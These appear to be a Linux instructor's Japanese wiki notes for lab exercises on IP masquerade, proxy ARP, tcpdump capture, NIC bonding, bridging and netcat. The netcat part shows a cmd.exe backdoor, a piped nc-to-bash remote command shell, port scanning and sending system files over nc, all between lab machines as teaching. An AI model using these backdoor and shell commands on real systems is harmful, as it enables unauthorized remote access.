Linux講師担当①(講師:窪田) - careerbeat/dit-ehime GitHub Wiki
============ Vol.065 - お試しネットワーク環境を作る ============
簡易的にホストOSの配下にネットワークを構築する
IPマスカレードについて、設定方法
- 一番最初のスナップショットを反映
- 「CentOS」設定 > ネットワーク > アダプター1 > 割り当て プリッジアダプター
- 「CentOS」設定 > ネットワーク > アダプター2 > 「ネットワークアダプタを有効化」チェック 割り当て 内部ネットワーク (MACアドレスをメモ)
- 「CentOS2」設定 > ネットワーク > アダプター1 > 割り当て 内部ネットワーク (一応MACアドレスメモ)
- 「CentOS」をrootで起動
- 「CentOS2」をrootで起動
- (2) 「ifconfig」でIPアドレスがない事を確認
- (2) 「vi /etc/sysconfig/network-scripts/ifcfg-eth0」で以下を設定 >BOOTPROTO=none >IPADDR="10.0.3.XX"(例:10.0.3.46) >NETMASK="255.255.255.0"
- (2) 「/etc/init.d/network restart」で再起動
- (2) 「ifconfig」でIPアドレスとサブネットマスクを確認
- (C) 「cd /etc/sysconfig/network-scripts/」
- (C) 「vi ifcfg-eth0」 でONBOOTをyesに修正
- (C) 「cp ifcfg-eth0 ifcfg-eth1」
- (C) 「vi ifcfg-eth1」 で下記項目を修正
>DEVICE=eth1
>HWADDR={メモしたMACアドレス}
>IPADDR="10.0.3.XX"(例:10.0.3.15)
>NETMASK="255.255.255.0"
- (C) 「/etc/init.d/network restart」で再起動
- (C) 「ifconfig」でeth1があり、上記で設定した内容になっていることを確認
- (C) 「ping 10.0.3.46」で応答を確認する
- (2) 「ping 10.0.3.15」で応答を確認する
- (2) 「ping 192.168.1.XXX」で「ネットワークに届きません」を確認
- (2) 「vi /etc/sysconfig/network-scripts/ifcfg-eth0」で以下を設定
>GATEWAY="10.0.3.15"
- (2) 「/etc/init.d/network restart」で再起動
- (2) 「route」でGATEWAYが追加されていることを確認
- (2) 「ping 192.168.1.XXX」で応答がないことを確認
- (C) 「sysctl -w net.ipv4.ip_forward=1」でルータとしての機能を付加(パケット転送)
- (C) 「/etc/sysctl.conf」に net.ipv4.ip_forward = 1 追記することで保存できることを説明
- (C) 「iptables -t nat -A POSTROUTING -s 10.0.3.0/24 -j MASQUERADE」
- (2) 「ping 192.168.1.XXX」で応答があることを確認
- (C) 「iptables -t nat -D POSTROUTING -s 10.0.3.0/24 -j MASQUERADE」
- (2) 「ping 192.168.1.XXX」で応答がなくなっていることを確認
- (C) 「/etc/init.d/iptables save」で恒久的に保存できることを説明
------------------------------ メモ ------------------------------
「sysctl -w net.ipv4.ip_forward=1」
・Linuxをルータとして機能させるため、IPパケットをフォワード(転送)を有効にする設定
>「-w」はsysctl の設定を変更する場合に指定するオプション
[iptables]
・-t 「操作するテーブルTABLEを指定する(デフォルトはfilter) 例 -t nat (natテーブルを指定)」
・-A 「チェインにルールを追加する」 POSTROUTING
・-s 「送信元のアドレスADDR(およびネットマスクMASK)を指定する」 指定されたIPアドレスからの実行とする(Source Addressを指定する)
・-j ルールにマッチした場合の移動先をターゲットとする -j MASQUERADE
・-o 出力ネットワークインターフェースINTを指定する(NAME+とするとワイルドカードとなる)
・-p プロトコルを指定
・PREROUTING 受信時を変換するチェイン
・POSTROUTING 送信時に変換するチェイン送信時に変換するチェイン
============ Vol.066 - お試しネットワーク環境を作る ~ Proxy ARP 編 ============
Proxy ARPを使って外から配下のネットワークに見えるようにする
【Proxy ARPについて】
http://www.infraexpert.com/study/gateway.htm
31. (C) 「vi /etc/sysconfig/network-scripts/ifcfg-eth1」で以下を設定
>IPADDR="192.168.1.XXX"(例:192.168.1.225)
>NETMASK="255.255.255.224"
32. (C) 「iptables -t nat -D POSTROUTING -s 10.0.3.0/24 -j MASQUERADE」
33. (C) 「iptables -t nat -A POSTROUTING -s 192.168.1.224/28 -j MASQUERADE」
> 後ほど (C) 「iptables -t nat -A POSTROUTING -s 192.168.1.XXX(例:226) -j MASQUERADE」に<変更
34. (C) 「/etc/init.d/network restart」で再起動
35. (2) 「vi /etc/sysconfig/network-scripts/ifcfg-eth0」で以下を設定
>IPADDR="192.168.1.XXX"(例:192.168.1.226)
>NETMASK="255.255.255.224"
>GATEWAY="192.168.1.225"
36. (2) 「/etc/init.d/network restart」で再起動
37. (C) 「ifconfig」で確認
38. (2) 「ifconfig」で確認
39. (C) 「ping 192.168.1.226」で応答があることを確認
40. (2) 「ping 192.168.1.225」で応答があることを確認
41. (W) 「ping 192.168.1.226」で応答がないことを確認
42. (C) 「echo 1 > /proc/sys/net/ipv4/ip_forward」
43. (C) 「echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp」
44. (2) 「ping 192.168.1.XXX(自分のWindowsのIP)」で応答があることを確認
45. (C) 「ping 192.168.1.225」で応答があることを確認
46. (C) 「ping 192.168.1.226」で応答があることを確認
============ Vol.059 - tcpdump でネットワークを盗み見る ============
配布サイト:http://www.usupi.org/sysad/059.html
・ネットワークを流れるパケットを直接見る、という強引殺法
・root の権限が必要
[コマンド]
tcpdump
- tcpdumpについて説明
- tcpdumpコマンドを実行
- tcpdumpのオプション
>「port 80」 ポート指定
>「dst port 80」 パケットの宛先ポート番号が80であれば真 発信だけに絞りたい場合
>「src port 80」 パケットの送信元ポート番号が80であれば真 受信だけに絞りたい場合
>「host 192.168.1.1」 ホスト指定
>ネットワークアドレス指定(説明だけ)
>「-i eth1」 イーサネット指定
>「-v -vv」 詳細表示(IPヘッダや TCPヘッダなどの情報も出力してくれています。)
>「-x 」 ARP や IP パケットの生のデータが、合わせて出力されます。
>「-w tcpdump_20060528.log」でファイルに出力を説明しながら実行
50.「tcpdump -x -r tcpdump_20060528.log | less」 -wでダンプしたやつをlessで見る
----------------------------------------------- メモ --------------------------------------------------- 12:46:26.850710 IP 192.168.0.10.54181 > nrt19s02-in-f24.1e100.net.http: Flags [.], seq 3579718551:3579719953, ack 1130673671, win 8192, options [nop,nop,TS val 750304771 ecr 3577990075], length 1402
21:48:36.476894 IP 192.168.24.73.4697 > 192.168.24.62.http: S 1751526227:1751526227(0) win 65535 21:48:36.477798 IP 192.168.24.62.http > 192.168.24.73.4697: S 1906616760:1906616760(0) ack 1751526228 win 5840 21:48:36.476970 IP 192.168.24.73.4697 > 192.168.24.62.http: . ack 1 win 65535
時刻
[12:46:26.850710]
どこから
[IP 192.168.0.10.54181]
どこへ
[nrt19s02-in-f24.1e100.net.http]
どんなパケットか
[Flags [.], seq 3579718551:3579719953, ack 1130673671, win 8192, options [nop,nop,TS val 750304771 ecr 3577990075], length 1402]
いつ どこから(IPおよびポート) > どこへ(IPおよびポート): どんなパケットか
ポートで絞る
$ sudo tcpdump port 80
発信または受信だけに絞りたい場合は、それぞれ dst, src を使います。
$ sudo tcpdump dst port 80 # 発信
$ sudo tcpdump src port 80 # 受信
ホストで絞る
$ sudo tcpdump host 192.168.1.1
$ sudo tcpdump dst host 192.168.1.1
$ sudo tcpdump src host 192.168.1.1
ネットワークアドレスで絞る
net を使うとネットワークアドレスで絞れます。
$ tcpdump net 192.168.1.0 mask 255.255.255.0
http://net-newbie.com/tcpip/tcp/tcpdump.html
http://d.hatena.ne.jp/hirose31/20090401/1238585753
http://blog.livedoor.jp/sonots/archives/18239717.html
http://itpro.nikkeibp.co.jp/article/COLUMN/20140512/556024/
============ Vol.060 - tcpdump でネットワークを確認する ============
【使用例】
・とあるマシンと通信できないときに、tcpdump を使って、 原因を調査
→でも通信できないマシンがサブネット内にあるときは、 traceroute では原因を突き止められない
「各所で tcpdump を実行」
「送信元A が宛先B に ping しても返事がない、という状況を作る」
52.「tcpdump -r tcpdump_20060528.log icmp | less」 -wでダンプしたやつをicmpだけに絞ってlessで見る
全ての端末を経由するように、iptables に設定を追加する
iptables -t nat -A PREROUTING -m icmp -p icmp --dst 指定の端末アドレス -j DNAT --to-destination 10.0.2.50:80
iptables -t nat -A PREROUTING -p icmp -d 指定の端末アドレス -j DNAT --to-destination 指定の端末
全員 tcpdump -w icmp_test.log
俺 ping 指定の端末
全員 tcpdump -r icmp_test.log proto icmp
============ Vol.160 - bonding で複数のNICをまとめて使う ============
配布サイト
:http://www.usupi.org/sysad/160.html
:http://www.usupi.org/sysad/161.html
【現在のNICの通信速度を測る】
- 「CentOS」をrootで起動
- 「/etc/init.d/httpd start」でapacheを起動
- 「cd /var/www/html/」でディレクトリ移動
- 「dd if=\dev\zero of=tempfaile bs=1M count=100」で100MBのダミーファイルを作成
- 「wget -O /dev/null http://192.168.1.XXX/tempfile」でダミーファイルをダウンロードし、現在の速度を計測
【bondingで複数のNICをまとめた仮想NICを作る】
- 「modprobe bonding mode=balance-rr miimon=200」 で「bonding」をロードする
- 「ifconfig bond0」でNICを纏める仮想NICの確認
- 「ifconfig eth0 down」でeth0を停止させる
- 「ifconfig eth1 down」でeth1を停止させる
- 「ifconfig bond0 192.168.1.XXX netmask 255.255.0.0 up」
- 「ifenslave bond0 eth0 eth1」でbond0にeth0とeth1を割り当てる
- 「ping 192.168.1.115(自分のホストPC)」でネットーワークにつながっているか、実在するかを確認
- 「ifconfig」で以下を確認
>bond0がMASTER
>eth0とeth1がSLAVE
>HWaddrが全て同じ値
>bond0の送受信バイトがeth0とeth1を合計した数値とほぼ同じ
- 「cat /proc/net/bonding/bond0」で詳しく確認
【仮想NICで通信速度を計測】
- 「wget -O /dev/null http://192.168.1.123/tempfile 」で速度測定
----------------------------------- メモ --------------------------------------------
[balance-rr]
・ラウンドロビンで順番に送信します。デフォルトではこれを使います。
[active-backup]
・通常はアクティブな NIC だけを使用しますが、 アクティブな NIC から送信できない(リンクがない)場合に、別の NIC に切替えます。
============ Vol.161 - bonding でフォールトトレラントなNICにする ============
bonding を使って、 ある NIC が通信できなくなっても通信しつづけるようにする方法
【フォールトトレラントNICを作成】
- 「modprobe bonding mode=active-backup miimon=1000」
~~~~~ 「Vol.160 - bonding で複数のNICをまとめて使う」で仮想NICを作成 ~~~~~
- 「cat /proc/net/bonding/bond0」で設定を確認
【フォールトトレラントなNICになっているか確認】
-
ネットワークアダプター1を切断
-
「cat /proc/net/bonding/bond0」
-
ネットワークアダプター1を再接続
-
「cat /proc/net/bonding/bond0」
-
ネットワークアダプター2を切断
-
「cat /proc/net/bonding/bond0」
-
ネットワークアダプター1「eth1」のリンクが復活したら、 eth1 をアクティブにする場合
-
「ifenslave -c bond0 eth1」
【リンクの監視の可否】
11. 「mii-tool eth0」でlink okがでたらMIIによるリンク監視が可能
【定期的にARPリクエストを送信して、レスポンスが返ってくるかどうかで、 そのNICのリンクの有無を判断するという方法】
- 「modprobe bonding arp_interval=2000 arp_ip_target=192.168.1.1」
============ Vol.162 - brctl でLinuxマシンをHUBにする ============
配布サイト:http://www.usupi.org/sysad/162.html
・複数のNICを持つLinuxマシンを、 HUB として使用できるようにする方法
>たとえば、マシンが増えて新たにポートが必要になったけれども、 予備の HUBがないときに、LinuxマシンをHUBにしてしのぐことができる
>パケットをキャプチャして確認したいが、 ポートミラーリング機能つきのスイッチングHUBがないとき
[コマンド] brctl
【仮想ブリッジ「vbr0」を作り、「eth1」「eth2」を「vbr0」に割り当てる】
- 「which brctl」brctlがなかった場合、「yum install bridge-utils」でbridge-utils パッケージをインストール
- 「brctl addbr vbr0」で仮想ブリッジを追加
- 「brctl stp vbr0 off」でSTPを無効化する
- 「brctl addif vbr0 eth1」 でeth1をvbr0に追加する
- 「brctl addif vbr0 eth2」 でeth2をvbr0に追加する
- 「ifconfig eth1 0.0.0.0」 でeth1のipv4を削除
- 「ifconfig eth2 0.0.0.0」 でeth2のipv4を削除
- 「ifconfig vbr0 192.168.1.4」 でLinuxマシン自身が他と通信できるよう、vbr0 自身にIPアドレスを設定します
- 「brctl show」で確認
【新たにeth3 を割り当てる】
- 「ifconfig eth3 0.0.0.0」 でeth3のipv4を削除
- 「brctl addif vbr0 eth3」 でeth3をvbr0に追加する
- 「brctl show」 で確認
起動時に自動設定する設定
/etc/sysconfig/network-scripts/ifcfg-eth1, ifcfg-eth2, ifcfg-eth3
DEVICE=eth1 (もしくは eth2 もしくは eth3)
HWADDR=xx:xx:xx:xx:xx:xx (実際のMACアドレスを指定してください)
ONBOOT=yes
TYPE=Ethernet
BRIDGE=vbr0
/etc/sysconfig/network-scripts/ifcfg-vbr0
DEVICE=vbr0
BOOTPROTO=static
IPADDR=192.168.1.1
BROADCAST=192.168.1.255
NETMASK=255.255.255.0
NETWORK=192.168.1.0
ONBOOT=yes
TYPE=Bridge
STP=off
============ Vol.190 - Netcat でネットワークをもう少し活用する ============ 配布サイト:http://www.usupi.org/sysad/190.html
【Netcat】 ・TCP や UDP で通信を行うためのコマンド ・Linux などのUNIX系OSだけでなく、Windows で動作するものもある コマンド:nc
- eth1立ち上げのスナップショットにする
- 「CentOS」をrootで起動 (Server役)
- 「CentOS2」をrootで起動 (Client役)
- (S) 「nc -l 12345」でポート12345で待ち受ける
- (C) 「nc {ServerのIP} 12345」で接続要求をし、コネクション確立
- どちらでも良いので、文字を打ってEnterを押す → 文字が送信され、お互いの画面に表示される
- (S) 「nc -l 12345」でポート12345で待ち受ける
- (C) 「echo "This is a test" | nc (C)のアドレス 12345」で(C)にパケットを送信する (実質ファイル転送)
- (S) 「nc -l 12345 > /tmp/hosts.sender」でポート12345で待ち受け、受信したら「/tmp/hosts.sender」に出力する
- (C) 「nc (C)のアドレス 12345 < /etc/hosts」で「/etc/hosts」を(C)に送信する
- (S) 「nc -l 12345 < /etc/crontab」で同じくポート12345で待ち受け、接続要求があったら「/etc/crontab」の内容を返す
- (C) 「nc sender 12345 > /tmp/crontab.sender」 で接続を要求する
- (S) 「nc -u -l 12345」 でUPDで待ち受ける
- (C) 「echo "This is a test" | nc -u receiver 12345」 でUDPで送信する
- 「printf "HEAD / HTTP/1.0\n\n" | nc www.google.com 80」でgoogleにhttpパケットを送信する
- 「printf "HEAD / HTTP/1.0\n\n" | nc wwwserver 80」で反応がなく、ある程度時間が経過してから終了する
- 「printf "HEAD / HTTP/1.0\n\n" | nc wwwserver 80 || echo NG」で失敗していることがわかる
- 「printf "HEAD / HTTP/1.0\n\n" | nc -v wwwserver 80」 でエラーメッセージを表示してくれるようになる
- 「printf "HEAD / HTTP/1.0\n\n" | nc -w 2 wwwserver 80 || echo NG」 で指定した秒数(2秒)でタイムアウトになる
- 「nc -v -z server 22」で指定したサーバーの指定したポートが開いているどうか確認できる(ポートスキャン)
- 「nc -v -z server 20-30」でポートスキャンを範囲指定できる
- windowsのみ「nc -l -p 8023 -e \windows\system32\cmd.exe」でバックドアができる
>$ nc windows 8023
>Ubuntu や Fedora では、「-e」オプションを使用できない。
(他のマシンから接続すると、入出力が cmd.exe にリダイレクトされますので、 Windows のコマンドが実行できてしまいます。) 以下強引に行う方法
- (2) 「nc -l 8023」
- (C) 「nc -l 9023 | bash | nc client 8023」
- (2) 「nc server 9023」
- (2) 「実行したいコマンドを入力」